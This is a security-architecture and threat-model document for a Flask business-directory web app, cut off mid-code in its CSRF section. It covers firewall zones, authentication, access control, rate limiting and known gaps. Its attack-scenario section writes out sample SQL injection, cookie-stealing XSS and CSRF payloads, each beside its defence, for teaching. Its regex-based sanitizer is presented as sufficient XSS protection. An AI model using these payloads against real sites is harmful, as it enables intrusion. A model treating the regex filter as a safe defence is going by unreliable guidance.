- Zmiana nazwy: "Norda Biznes Hub" → "Norda Biznes Partner" - Aktualizacja modelu AI: Gemini 2.0 Flash → Gemini 3 Flash - Zachowano historyczne odniesienia w timeline i dokumentacji Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
59 KiB
Security Architecture
Document Version: 1.0 Last Updated: 2026-01-10 Status: Production LIVE Diagram Type: Security Architecture / Threat Model
Overview
This document provides a comprehensive security architecture for the Norda Biznes Partner application, covering:
- Security Zones and trust boundaries
- Authentication & Authorization mechanisms
- Security Controls (CSRF, rate limiting, input validation, etc.)
- Threat Model and attack surface analysis
- Data Security (encryption, sensitive data handling)
- API Security (external API integrations, API key management)
- Infrastructure Security (network, firewall, SSH access)
- Security Monitoring and incident response
- Security Best Practices and compliance
Abstraction Level: Security Architecture Audience: Security Engineers, DevOps, Developers, System Administrators Purpose: Understanding security boundaries, threat model, security controls, compliance verification
Related Documentation:
- Authentication Flow - Detailed authentication flow diagrams and implementation
- Network Topology - Network zones and firewall rules
- Container Diagram - Application security boundaries
- Critical Configurations - SSL/TLS, secrets management
Table of Contents
- Security Zones & Trust Boundaries
- Authentication Architecture
- Authorization Model
- Security Controls
- Threat Model & Attack Surface
- Data Security
- API Security
- Infrastructure Security
- Security Monitoring
- Incident Response
- Compliance & Best Practices
- Security Roadmap
1. Security Zones & Trust Boundaries
1.1 Security Zones Diagram
graph TB
subgraph "Zone 0: Public Internet (UNTRUSTED)"
Internet["🌐 Public Internet<br/><br/>Trust Level: NONE<br/>Access: Anonymous users<br/>Threat Level: HIGH<br/><br/>Threats:<br/>• DDoS attacks<br/>• SQL injection<br/>• XSS attacks<br/>• CSRF attacks<br/>• Brute force<br/>• Bot traffic"]
end
subgraph "Zone 1: Network Perimeter (SECURITY BOUNDARY)"
Fortigate["🛡️ FORTIGATE FIREWALL<br/><br/>Trust Level: BOUNDARY<br/>Controls:<br/>• NAT (85.237.177.83 → 10.22.68.250)<br/>• Port filtering (443, 80, 22)<br/>• Stateful inspection<br/>• DDoS protection<br/>• Intrusion prevention<br/><br/>Default Policy: DENY ALL"]
end
subgraph "Zone 2: DMZ - Reverse Proxy (SEMI-TRUSTED)"
DMZ["🖥️ NPM REVERSE PROXY<br/>IP: 10.22.68.250<br/><br/>Trust Level: LOW<br/>Controls:<br/>• SSL/TLS termination<br/>• HTTP → HTTPS redirect<br/>• Let's Encrypt certificates<br/>• Request filtering (block exploits)<br/>• WebSocket upgrade control<br/>• HSTS enforcement<br/><br/>Exposed Ports: 443, 80, 81 (admin)<br/>Allowed Outbound: App Zone only"]
end
subgraph "Zone 3: Application Zone (TRUSTED)"
AppZone["🖥️ APPLICATION SERVER<br/>IP: 10.22.68.249<br/><br/>Trust Level: MEDIUM<br/>Controls:<br/>• Flask-Login authentication<br/>• CSRF protection (Flask-WTF)<br/>• Rate limiting (Flask-Limiter)<br/>• Input sanitization<br/>• XSS prevention<br/>• SQL injection prevention (SQLAlchemy ORM)<br/>• Session security (secure cookies)<br/><br/>Exposed Ports: 5000 (internal), 22 (SSH)<br/>Allowed Outbound: Internet (APIs), Data Zone"]
end
subgraph "Zone 4: Data Zone (HIGHLY TRUSTED)"
DataZone["🗄️ DATABASE SERVER<br/>IP: 10.22.68.249:5432<br/><br/>Trust Level: HIGH<br/>Controls:<br/>• PostgreSQL authentication<br/>• Localhost-only binding (127.0.0.1)<br/>• Role-based access control<br/>• Connection encryption (SSL/TLS)<br/>• pg_hba.conf restrictions<br/>• Database user separation<br/><br/>Exposed Ports: 5432 (localhost only)<br/>Allowed Connections: Application Zone only"]
end
subgraph "Zone 5: External APIs (THIRD-PARTY)"
APIs["☁️ EXTERNAL APIs<br/><br/>Trust Level: THIRD-PARTY<br/>Services:<br/>• Google Gemini AI<br/>• Google PageSpeed Insights<br/>• Google Places API<br/>• Microsoft Graph API<br/>• Brave Search API<br/>• KRS Open API<br/><br/>Controls:<br/>• API key authentication<br/>• OAuth 2.0 (MS Graph)<br/>• HTTPS/TLS 1.2+ only<br/>• Rate limiting (client-side)<br/>• API key rotation<br/>• Cost tracking"]
end
Internet -->|"HTTPS :443<br/>HTTP :80"| Fortigate
Fortigate -->|"NAT + Filter<br/>Allow: 443, 80"| DMZ
DMZ -->|"HTTP :5000<br/>(internal network)"| AppZone
AppZone -->|"PostgreSQL :5432<br/>(localhost)"| DataZone
AppZone -->|"HTTPS<br/>(API requests)"| APIs
style Internet fill:#ff6b6b,color:#fff
style Fortigate fill:#f59e0b,color:#fff
style DMZ fill:#fbbf24,color:#000
style AppZone fill:#10b981,color:#fff
style DataZone fill:#3b82f6,color:#fff
style APIs fill:#8b5cf6,color:#fff
1.2 Trust Boundaries
| Boundary | Between Zones | Security Controls | Threat Mitigation |
|---|---|---|---|
| External → Perimeter | Internet → Fortigate | NAT, port filtering, stateful firewall | DDoS, port scanning, unauthorized access |
| Perimeter → DMZ | Fortigate → NPM | Port restrictions (443, 80), SSL enforcement | Man-in-the-middle, protocol attacks |
| DMZ → Application | NPM → Flask | Internal network isolation, port 5000 only | Lateral movement, privilege escalation |
| Application → Data | Flask → PostgreSQL | Localhost-only binding, role-based access | SQL injection, unauthorized data access |
| Application → Internet | Flask → External APIs | HTTPS/TLS, API key authentication, rate limiting | API key theft, cost overrun, data leakage |
1.3 Network Segmentation
Physical Segmentation:
- 10.22.68.0/24 - Internal INPI network (RFC 1918 private addressing)
- 85.237.177.83 - Public IP (NAT at Fortigate)
Logical Segmentation:
- DMZ: 10.22.68.250 (reverse proxy only)
- Application: 10.22.68.249 (Flask app, no direct Internet access for incoming)
- Data: 10.22.68.249:5432 (localhost binding, no network exposure)
Firewall Rules (Fortigate):
# Inbound (WAN → LAN)
allow tcp/443 from ANY to 10.22.68.250 # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250 # HTTP to NPM (redirects to HTTPS)
allow tcp/22 from ADMIN_NET to 10.22.68.249 # SSH (admin only)
deny all from ANY to ANY # Default deny
# Outbound (LAN → WAN)
allow tcp/443 from 10.22.68.249 to ANY # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY # HTTP (rare, redirects)
deny all from 10.22.68.250 to ANY # NPM cannot initiate outbound (except Let's Encrypt)
1.4 Attack Surface
External Attack Surface (Internet-facing):
- NPM reverse proxy (10.22.68.250:443, :80)
- Public endpoints:
/,/search,/company/<slug>,/audit/* - Authentication endpoints:
/register,/login,/forgot-password
Internal Attack Surface (Authenticated users):
- User dashboard:
/dashboard,/chat,/forum/*,/wiadomosci/* - API endpoints:
/api/chat/*,/api/notifications/*
Admin Attack Surface (Admin users only):
- Admin panels:
/admin/*(15+ panels) - Audit management:
/api/seo/audit,/api/gbp/audit,/api/social/audit
Reduced Attack Surface:
- PostgreSQL: Localhost-only binding (no network exposure)
- SSH: Restricted to admin network (firewall rule)
- NPM Admin UI: Port 81 (internal network only)
2. Authentication Architecture
2.1 Authentication Overview
Framework: Flask-Login Password Hashing: PBKDF2:SHA256 (werkzeug.security) Session Storage: Server-side session cookies Email Verification: Required before login Email Delivery: Microsoft Graph API (OAuth 2.0)
NOTE: For detailed authentication flows (registration, login, email verification, password reset, session management), see: Authentication Flow Documentation
2.2 Authentication Security Architecture
graph TB
subgraph "Authentication Layer"
User["👤 User"]
Browser["🌐 Browser"]
subgraph "Flask Authentication Stack"
FlaskLogin["Flask-Login<br/>(Session Management)"]
CSRF["Flask-WTF<br/>(CSRF Protection)"]
RateLimit["Flask-Limiter<br/>(Rate Limiting)"]
Sanitize["Input Sanitization<br/>(XSS Prevention)"]
end
subgraph "User Model & Database"
UserModel["User Model<br/>(SQLAlchemy)"]
PostgreSQL["PostgreSQL<br/>(users table)"]
end
subgraph "Password Security"
Hash["Password Hashing<br/>(PBKDF2:SHA256)"]
TokenGen["Token Generation<br/>(secrets.token_urlsafe)"]
end
subgraph "Email Verification"
EmailService["Email Service<br/>(email_service.py)"]
MSGraph["Microsoft Graph API<br/>(OAuth 2.0)"]
end
end
User -->|"Login Request"| Browser
Browser -->|"POST /login"| CSRF
CSRF -->|"CSRF Valid"| RateLimit
RateLimit -->|"Rate OK"| Sanitize
Sanitize -->|"Sanitized Input"| FlaskLogin
FlaskLogin -->|"Query User"| UserModel
UserModel -->|"SELECT * FROM users"| PostgreSQL
PostgreSQL -->|"User Data"| Hash
Hash -->|"check_password_hash()"| FlaskLogin
FlaskLogin -->|"login_user()"| Browser
Browser -->|"POST /register"| TokenGen
TokenGen -->|"Generate Token"| PostgreSQL
PostgreSQL -->|"User Created"| EmailService
EmailService -->|"Send Email (OAuth)"| MSGraph
style CSRF fill:#f59e0b,color:#fff
style RateLimit fill:#f59e0b,color:#fff
style Sanitize fill:#f59e0b,color:#fff
style Hash fill:#3b82f6,color:#fff
style TokenGen fill:#3b82f6,color:#fff
2.3 Session Security
Session Configuration:
# app.py session settings
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY') # 256-bit secret
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JS access
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
Session Cookie Attributes:
- Name:
session(Flask default) - Secure: True (HTTPS only in production)
- HttpOnly: True (prevents XSS cookie theft)
- SameSite: Lax (CSRF protection)
- Max-Age: 7 days (with "remember me")
- Signed: Yes (HMAC with SECRET_KEY)
- Encrypted: Yes (Flask built-in)
Session Lifecycle:
- Creation: On successful login (
login_user()) - Validation: On every request (
@login_required) - Regeneration: On login (prevents session fixation)
- Expiration: After 7 days or on logout
- Destruction: On logout (
logout_user())
Session Security Features:
- Session fixation prevention (regenerate session ID on login)
- CSRF protection via Flask-WTF (automatic token generation)
- Secure cookie attributes (HttpOnly, Secure, SameSite)
- Server-side session storage (encrypted data)
- Automatic session cleanup (expired sessions removed)
2.4 Password Security
Password Requirements:
- Minimum 8 characters
- At least 1 uppercase letter
- At least 1 lowercase letter
- At least 1 digit
Password Hashing:
- Algorithm: PBKDF2:SHA256 (werkzeug.security default)
- Iterations: 600,000+ (werkzeug 3.0+ default)
- Salt: Automatic (random salt per password)
- Hash Storage:
users.password_hashcolumn (VARCHAR 255)
Password Reset Flow:
- Reset tokens: 256-bit entropy (
secrets.token_urlsafe(32)) - Token expiry: 1 hour
- Single-use tokens (cleared after successful reset)
- Email enumeration prevention (always show success message)
Password Best Practices:
- ✅ Strong hashing algorithm (PBKDF2:SHA256)
- ✅ Password complexity requirements
- ✅ Secure token generation
- ✅ Token expiry enforcement
- ❌ Password history (not implemented)
- ❌ Account lockout after N failed attempts (not implemented)
3. Authorization Model
3.1 Role-Based Access Control (RBAC)
graph TB
subgraph "Authorization Hierarchy"
Public["🌐 Public<br/>Anonymous Users<br/><br/>Permissions:<br/>• View company directory<br/>• Search companies<br/>• View audit reports<br/>• Access registration/login"]
Auth["🔐 Authenticated<br/>Logged-in Users<br/><br/>Permissions:<br/>• All Public permissions<br/>• Access dashboard<br/>• Use AI chat<br/>• Participate in forum<br/>• Send/receive messages<br/>• RSVP to events<br/>• Post classifieds"]
Member["👔 NORDA Members<br/>is_norda_member=TRUE<br/><br/>Permissions:<br/>• All Authenticated permissions<br/>• Company profile editing (own)<br/>• Request recommendations<br/>• View member directory<br/>• Access member-only content"]
Admin["👨💼 Administrators<br/>is_admin=TRUE<br/><br/>Permissions:<br/>• All Member permissions<br/>• Manage all companies<br/>• Moderate forum/news<br/>• Manage users<br/>• Run audit scans<br/>• View analytics<br/>• Generate fees<br/>• System configuration"]
end
Public --> Auth
Auth --> Member
Member --> Admin
style Public fill:#9ca3af,color:#fff
style Auth fill:#10b981,color:#fff
style Member fill:#3b82f6,color:#fff
style Admin fill:#8b5cf6,color:#fff
3.2 User Roles & Flags
User Model Fields:
is_active BOOLEAN DEFAULT TRUE -- User account status
is_verified BOOLEAN DEFAULT FALSE -- Email verification status
is_admin BOOLEAN DEFAULT FALSE -- Administrator flag
is_norda_member BOOLEAN DEFAULT FALSE -- NORDA Biznes membership
Role Determination Logic:
# Public access - no check required
# Authenticated access
@login_required
def protected_route():
# current_user is automatically available via Flask-Login
pass
# NORDA Member access
@login_required
def member_route():
if not current_user.is_norda_member:
flash('Tylko dla członków NORDA Biznes.', 'error')
return redirect(url_for('index'))
pass
# Admin access
@login_required
def admin_route():
if not current_user.is_admin:
flash('Brak uprawnień administratora.', 'error')
return redirect(url_for('index'))
pass
3.3 Access Control Matrix
| Route Category | Public | Authenticated | NORDA Member | Admin |
|---|---|---|---|---|
| Public Pages | ||||
/ (Company directory) |
✅ | ✅ | ✅ | ✅ |
/search |
✅ | ✅ | ✅ | ✅ |
/company/<slug> |
✅ | ✅ | ✅ | ✅ |
/audit/*/<slug> (SEO, Social, GBP, IT) |
✅ | ✅ | ✅ | ✅ |
/api/companies (JSON export) |
✅ | ✅ | ✅ | ✅ |
/health (Health check) |
✅ | ✅ | ✅ | ✅ |
| Authentication | ||||
/register, /login |
✅ | ❌ | ❌ | ❌ |
/logout |
❌ | ✅ | ✅ | ✅ |
/verify-email/<token> |
✅ | ✅ | ✅ | ✅ |
/forgot-password, /reset-password/<token> |
✅ | ✅ | ✅ | ✅ |
| User Features | ||||
/dashboard |
❌ | ✅ | ✅ | ✅ |
/chat |
❌ | ✅ | ✅ | ✅ |
/api/chat/* |
❌ | ✅ | ✅ | ✅ |
| Community Features | ||||
/forum/* |
❌ | ✅ | ✅ | ✅ |
/wiadomosci/* (Messages) |
❌ | ✅ | ✅ | ✅ |
/kalendarz/* (Events) |
❌ | ✅ | ✅ | ✅ |
/tablica/* (Classifieds) |
❌ | ✅ | ✅ | ✅ |
| Admin Panels | ||||
/admin/* (All admin routes) |
❌ | ❌ | ❌ | ✅ |
/admin/users (User management) |
❌ | ❌ | ❌ | ✅ |
/admin/fees (Fee management) |
❌ | ❌ | ❌ | ✅ |
/admin/forum (Forum moderation) |
❌ | ❌ | ❌ | ✅ |
/admin/seo (SEO dashboard) |
❌ | ❌ | ❌ | ✅ |
/admin/gbp-audit (GBP dashboard) |
❌ | ❌ | ❌ | ✅ |
/admin/social-media (Social dashboard) |
❌ | ❌ | ❌ | ✅ |
/admin/it-audit (IT dashboard) |
❌ | ❌ | ❌ | ✅ |
| Admin API Endpoints | ||||
/api/seo/audit (POST) |
❌ | ❌ | ❌ | ✅ |
/api/gbp/audit (POST) |
❌ | ❌ | ❌ | ✅ |
/api/social/audit (POST) |
❌ | ❌ | ❌ | ✅ |
/api/notifications (GET) |
❌ | ✅ | ✅ | ✅ |
/api/notifications/<id>/read (PUT) |
❌ | ✅ | ✅ | ✅ |
Legend:
- ✅ Access granted
- ❌ Access denied (redirect to login or show error)
3.4 Authorization Enforcement
Decorator-based Protection:
# Flask-Login decorator for authenticated routes
@app.route('/dashboard')
@login_required
def dashboard():
# current_user is guaranteed to be authenticated
return render_template('dashboard.html', user=current_user)
Manual Authorization Checks:
# Admin-only check
@app.route('/admin/users')
@login_required
def admin_users():
if not current_user.is_admin:
flash('Brak uprawnień administratora.', 'error')
return redirect(url_for('index'))
# Admin logic here
users = db.query(User).all()
return render_template('admin/users.html', users=users)
Row-Level Security (Planned):
- Company owners can edit only their own company profile
- Forum authors can edit/delete only their own posts
- Message senders/receivers can view only their own messages
Current Limitations:
- ❌ No granular permissions (e.g., "can_edit_company", "can_moderate_forum")
- ❌ No role hierarchy (custom roles beyond Admin/Member)
- ❌ No permission delegation (temporary admin access)
4. Security Controls
4.1 Security Controls Overview
graph LR
subgraph "Input Security"
Input["User Input"]
Sanitize["Input Sanitization<br/>(sanitize_input)"]
Validate["Input Validation<br/>(length, format, type)"]
end
subgraph "Request Security"
CSRF["CSRF Protection<br/>(Flask-WTF)"]
RateLimit["Rate Limiting<br/>(Flask-Limiter)"]
Auth["Authentication<br/>(Flask-Login)"]
end
subgraph "Response Security"
XSS["XSS Prevention<br/>(Jinja2 auto-escape)"]
Headers["Security Headers<br/>(HSTS, CSP, X-Frame)"]
SSL["SSL/TLS Encryption<br/>(HTTPS)"]
end
subgraph "Data Security"
SQLInj["SQL Injection Prevention<br/>(SQLAlchemy ORM)"]
PassHash["Password Hashing<br/>(PBKDF2:SHA256)"]
Secrets["Secrets Management<br/>(.env files)"]
end
Input --> Sanitize
Sanitize --> Validate
Validate --> CSRF
CSRF --> RateLimit
RateLimit --> Auth
Auth --> XSS
XSS --> Headers
Headers --> SSL
Auth --> SQLInj
SQLInj --> PassHash
PassHash --> Secrets
style Sanitize fill:#f59e0b,color:#fff
style CSRF fill:#f59e0b,color:#fff
style RateLimit fill:#f59e0b,color:#fff
style XSS fill:#f59e0b,color:#fff
style SQLInj fill:#3b82f6,color:#fff
style PassHash fill:#3b82f6,color:#fff
4.2 Input Security
4.2.1 Input Sanitization
Function: sanitize_input(text, max_length=1000)
Purpose: Remove HTML tags, malicious patterns, excessive whitespace
Implementation: app.py (lines ~300-320)
def sanitize_input(text, max_length=1000):
"""Remove HTML tags and malicious patterns from user input"""
if not text:
return ""
# Remove HTML tags
text = re.sub(r'<[^>]+>', '', text)
# Remove script tags and content
text = re.sub(r'<script[^>]*>.*?</script>', '', text, flags=re.IGNORECASE | re.DOTALL)
# Remove event handlers (onclick, onerror, etc.)
text = re.sub(r'\s*on\w+\s*=\s*["\'][^"\']*["\']', '', text, flags=re.IGNORECASE)
# Remove javascript: URLs
text = re.sub(r'javascript:', '', text, flags=re.IGNORECASE)
# Normalize whitespace
text = ' '.join(text.split())
# Truncate to max length
return text[:max_length]
Applied to:
- All form inputs (registration, login, forum posts, messages, classifieds)
- Search queries
- Chat messages
- Admin inputs
XSS Prevention:
- Jinja2 automatic escaping (enabled by default)
- Manual escaping for user-generated content:
{{ user_input|e }} - Sanitization before database storage (defense in depth)
4.2.2 Input Validation
Email Validation:
def validate_email(email):
"""Validate email format"""
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return re.match(pattern, email) is not None
Password Validation:
def validate_password(password):
"""Validate password complexity"""
if len(password) < 8:
return False, "Hasło musi mieć minimum 8 znaków"
if not re.search(r'[A-Z]', password):
return False, "Hasło musi zawierać wielką literę"
if not re.search(r'[a-z]', password):
return False, "Hasło musi zawierać małą literę"
if not re.search(r'\d', password):
return False, "Hasło musi zawierać cyfrę"
return True, ""
NIP Validation:
def validate_nip(nip):
"""Validate Polish NIP format (10 digits)"""
if not nip:
return False
nip = nip.replace('-', '').replace(' ', '')
return len(nip) == 10 and nip.isdigit()
Input Length Limits:
- Email: 255 characters
- Password: 255 characters (hash stored)
- Name: 255 characters
- Phone: 50 characters
- Message body: 5,000 characters
- Forum post: 10,000 characters
- Chat message: 1,000 characters
4.3 Request Security
4.3.1 CSRF Protection
Framework: Flask-WTF Implementation: Automatic CSRF token generation and validation
Configuration:
# app.py CSRF setup
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
app.config['WTF_CSRF_ENABLED'] = True
app.config['WTF_CSRF_TIME_LIMIT'] = None # No time limit (session-based)
Usage in Templates:
<form method="POST">
{{ csrf_token() }} <!-- Automatic token injection -->
<input type="email" name="email" required>
<button type="submit">Submit</button>
</form>
AJAX Requests:
// Get CSRF token from meta tag
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// Include in AJAX request headers
fetch('/api/endpoint', {
method: 'POST',
headers: {
'X-CSRFToken': csrfToken,
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
CSRF Protection Coverage:
- ✅ All POST/PUT/DELETE requests
- ✅ Form submissions
- ✅ AJAX API calls
- ❌ GET requests (idempotent, no CSRF protection needed)
4.3.2 Rate Limiting
Framework: Flask-Limiter Strategy: IP-based rate limiting
Configuration:
# app.py rate limiting setup
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="memory://" # In-memory storage (single server)
)
Rate Limits by Endpoint:
| Endpoint | Rate Limit | Purpose |
|---|---|---|
/register |
5 per hour | Prevent account spam |
/login |
5 per hour (prod) 1000 per hour (dev) |
Prevent brute force |
/forgot-password |
5 per hour | Prevent email spam |
/api/chat/<id>/message |
30 per minute | Prevent chat spam |
/api/seo/audit |
10 per hour | Prevent quota abuse |
/api/gbp/audit |
10 per hour | Prevent quota abuse |
/api/social/audit |
10 per hour | Prevent quota abuse |
| Default | 200 per day, 50 per hour | General protection |
Rate Limit Bypass:
- No bypass mechanism (applies to all users, including admins)
- Future improvement: Whitelist admin IPs
Error Handling:
@app.errorhandler(429)
def ratelimit_handler(e):
flash('Zbyt wiele żądań. Spróbuj ponownie później.', 'error')
return render_template('error.html', error=e), 429
4.4 Response Security
4.4.1 Security Headers
HTTP Security Headers (Configured in NPM):
# HSTS (HTTP Strict Transport Security)
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Prevent clickjacking
X-Frame-Options: SAMEORIGIN
# XSS Protection (legacy browsers)
X-XSS-Protection: 1; mode=block
# Content-Type sniffing prevention
X-Content-Type-Options: nosniff
# Referrer Policy
Referrer-Policy: strict-origin-when-cross-origin
# Content Security Policy (CSP) - PLANNED
# Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';
Current Status:
- ✅ HSTS enabled (NPM configuration)
- ✅ X-Frame-Options: SAMEORIGIN
- ✅ X-Content-Type-Options: nosniff
- ❌ Content-Security-Policy (not yet implemented - requires frontend refactoring)
4.4.2 SSL/TLS Encryption
Configuration:
- Certificate Provider: Let's Encrypt (free, auto-renewal)
- Certificate Type: RSA 2048-bit
- TLS Protocols: TLS 1.2, TLS 1.3 only
- HTTP → HTTPS Redirect: Enforced at NPM
- HSTS: Enabled (max-age=31536000)
Cipher Suites (Modern):
TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES256-GCM-SHA384
SSL Termination: At NPM reverse proxy (10.22.68.250) Internal Communication: HTTP (10.22.68.250 → 10.22.68.249:5000)
Certificate Renewal:
- Automatic via NPM + Let's Encrypt
- Renewal frequency: Every 90 days
- Grace period: 30 days before expiry
4.5 Data Security
4.5.1 SQL Injection Prevention
ORM Usage: SQLAlchemy (parameterized queries)
Safe Query Patterns:
# ✅ SAFE: Parameterized query (SQLAlchemy ORM)
user = db.query(User).filter(User.email == email).first()
# ✅ SAFE: Parameterized raw SQL
db.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})
# ❌ UNSAFE: String concatenation (NEVER USE)
# db.execute(f"SELECT * FROM users WHERE email = '{email}'")
Full-Text Search (PostgreSQL):
# ✅ SAFE: FTS with plainto_tsquery (auto-escaping)
query = text("""
SELECT c.*, ts_rank(c.search_vector, plainto_tsquery('english', :query)) AS rank
FROM companies c
WHERE c.search_vector @@ plainto_tsquery('english', :query)
ORDER BY rank DESC
""")
results = db.execute(query, {"query": search_term}).fetchall()
No Raw SQL Concatenation:
- All queries use parameterized placeholders (
:param_name) - SQLAlchemy ORM handles escaping automatically
- Full-text search uses
plainto_tsquery()(auto-escapes special characters)
4.5.2 Password Storage
Hashing Algorithm: PBKDF2:SHA256
Library: werkzeug.security
Iterations: 600,000+ (werkzeug 3.0+ default)
Salt: Automatic random salt per password
Implementation:
from werkzeug.security import generate_password_hash, check_password_hash
# Registration: Hash password
password_hash = generate_password_hash(password) # Auto-salted
# Login: Verify password
if check_password_hash(user.password_hash, password):
# Password correct
login_user(user)
Hash Format:
pbkdf2:sha256:600000$<salt>$<hash>
Security Properties:
- ✅ Salted (prevents rainbow table attacks)
- ✅ Slow hashing (prevents brute force)
- ✅ Industry-standard algorithm (PBKDF2)
- ✅ Automatic algorithm upgrades (werkzeug handles)
4.5.3 Secrets Management
Environment Variables (.env):
# Database
DATABASE_URL=postgresql://nordabiz_app:PASSWORD@127.0.0.1:5432/nordabiz
# Flask
SECRET_KEY=<256-bit-random-key>
# API Keys
GOOGLE_GEMINI_API_KEY=<key>
GOOGLE_PAGESPEED_API_KEY=<key>
BRAVE_SEARCH_API_KEY=<key>
# Microsoft Graph OAuth
MS_CLIENT_ID=<client-id>
MS_CLIENT_SECRET=<client-secret>
MS_TENANT_ID=<tenant-id>
# Email
SMTP_HOST=smtp.office365.com
SMTP_PORT=587
SMTP_USER=noreply@nordabiznes.pl
SMTP_PASSWORD=<password>
Secrets Storage:
- Development:
.envfile (gitignored) - Production:
.envfile on server (owned by www-data, mode 600) - Never committed to Git:
.envin.gitignore
Secret Rotation:
- ❌ No automatic rotation (manual process)
- ❌ No secret versioning (future improvement)
Access Control:
# Production secrets file permissions
-rw------- 1 www-data www-data .env # Mode 600 (owner read/write only)
5. Threat Model & Attack Surface
5.1 Threat Model (STRIDE)
| Threat Type | Attack Vector | Impact | Mitigation | Status |
|---|---|---|---|---|
| Spoofing | User impersonation, session hijacking | High | HTTPS, secure cookies, session regeneration | ✅ Mitigated |
| Tampering | SQL injection, XSS, CSRF | High | SQLAlchemy ORM, input sanitization, CSRF tokens | ✅ Mitigated |
| Repudiation | User denies actions | Medium | Database audit logs (created_at, updated_at) | ⚠️ Partial |
| Information Disclosure | API key theft, database breach, session theft | High | HTTPS, .env files, localhost DB binding | ✅ Mitigated |
| Denial of Service | DDoS, resource exhaustion, API quota abuse | Medium | Rate limiting, Fortigate DDoS protection | ⚠️ Partial |
| Elevation of Privilege | Admin privilege escalation | High | Role-based access control, admin flag validation | ✅ Mitigated |
5.2 Attack Surface Analysis
5.2.1 External Attack Surface (Internet-facing)
NPM Reverse Proxy (10.22.68.250:443, :80):
- Exposed Services: HTTPS (443), HTTP (80, redirects to HTTPS)
- Attack Vectors:
- DDoS attacks (mitigated by Fortigate)
- SSL/TLS vulnerabilities (mitigated by modern cipher suites)
- HTTP request smuggling (mitigated by NPM validation)
- Mitigation:
- Fortigate stateful firewall + DDoS protection
- Let's Encrypt TLS 1.2/1.3 only
- NPM request filtering ("block exploits" enabled)
Public Endpoints:
/(Company directory)/search(Search functionality)/company/<slug>(Company profiles)/audit/*/<slug>(SEO, Social, GBP, IT audit reports)/register,/login,/forgot-password(Authentication)
Attack Vectors:
- SQL injection: Mitigated (SQLAlchemy ORM)
- XSS: Mitigated (input sanitization, Jinja2 auto-escape)
- CSRF: Mitigated (Flask-WTF)
- Brute force: Mitigated (rate limiting 5/hour)
- Account enumeration: Partially mitigated (generic error messages)
5.2.2 Internal Attack Surface (Authenticated Users)
User Dashboard & Features:
/dashboard,/chat,/forum/*,/wiadomosci/*,/kalendarz/*,/tablica/*
Attack Vectors:
- Privilege escalation: Mitigated (admin flag validation)
- IDOR (Insecure Direct Object Reference): Partially mitigated (owner checks needed)
- Session hijacking: Mitigated (secure cookies, HTTPS)
Vulnerabilities:
- ❌ No row-level security (users can view other users' messages if they know the ID)
- ❌ No rate limiting on message sending
- ❌ No spam detection on forum posts
5.2.3 Admin Attack Surface (Admin Users)
Admin Panels:
/admin/*(15+ admin panels)/api/seo/audit,/api/gbp/audit,/api/social/audit(POST)
Attack Vectors:
- Admin account compromise: Mitigated (strong password requirements)
- API quota abuse: Mitigated (rate limiting 10/hour)
- Cost overrun: Mitigated (client-side cost tracking, free tier monitoring)
Vulnerabilities:
- ❌ No 2FA for admin accounts
- ❌ No admin activity logging
- ❌ No admin session timeout (7-day session)
5.2.4 Database Attack Surface
PostgreSQL (10.22.68.249:5432):
- Binding: Localhost only (127.0.0.1)
- Authentication: Password-based (pg_hba.conf)
- Encryption: SSL/TLS for connections (planned)
Attack Vectors:
- SQL injection: Mitigated (SQLAlchemy ORM)
- Unauthorized access: Mitigated (localhost binding, password auth)
- Data breach: Partially mitigated (no database encryption at rest)
Vulnerabilities:
- ❌ No database encryption at rest
- ❌ No database activity auditing
- ❌ No automated backup verification
5.2.5 API Attack Surface (External APIs)
Outbound API Calls:
- Google Gemini AI, PageSpeed Insights, Places API
- Microsoft Graph API
- Brave Search API
- KRS Open API
Attack Vectors:
- API key theft: Mitigated (.env files, HTTPS only)
- Man-in-the-middle: Mitigated (HTTPS/TLS 1.2+)
- API quota abuse: Mitigated (rate limiting, cost tracking)
Vulnerabilities:
- ❌ API keys stored in plaintext (.env files)
- ❌ No API key rotation policy
- ❌ No secrets vault (e.g., HashiCorp Vault)
5.3 Common Attack Scenarios
5.3.1 SQL Injection Attack
Attack:
# Attacker input: email = "admin' OR '1'='1"
# UNSAFE query (NOT USED in our app):
# query = f"SELECT * FROM users WHERE email = '{email}'"
# Result: Returns all users (authentication bypass)
Defense:
# ✅ SAFE: SQLAlchemy parameterized query
user = db.query(User).filter(User.email == email).first()
# SQLAlchemy escapes special characters automatically
Status: ✅ Mitigated (no raw SQL concatenation)
5.3.2 XSS Attack
Attack:
<!-- Attacker input: forum post = "<script>alert(document.cookie)</script>" -->
<!-- UNSAFE rendering (NOT USED in our app): -->
<!-- {{ user_post }} (unescaped) -->
<!-- Result: Executes JavaScript, steals cookies -->
Defense:
# Input sanitization (before storage)
sanitized_post = sanitize_input(user_post) # Strips <script> tags
# Jinja2 auto-escaping (at rendering)
{{ user_post }} # Automatically escapes HTML entities
Status: ✅ Mitigated (sanitization + auto-escaping)
5.3.3 CSRF Attack
Attack:
<!-- Attacker's malicious website -->
<form action="https://nordabiznes.pl/admin/users/5/delete" method="POST">
<input type="submit" value="Click for prize!">
</form>
<!-- When admin clicks, their session cookie is sent, deleting user #5 -->
Defense:
# Flask-WTF CSRF protection (automatic)
# All POST requests require valid CSRF token
@app.route('/admin/users/<id>/delete', methods=['POST'])
@login_required
def delete_user(id):
# CSRF token is validated before this code runs
if not current_user.is_admin:
abort(403)
# Delete user logic
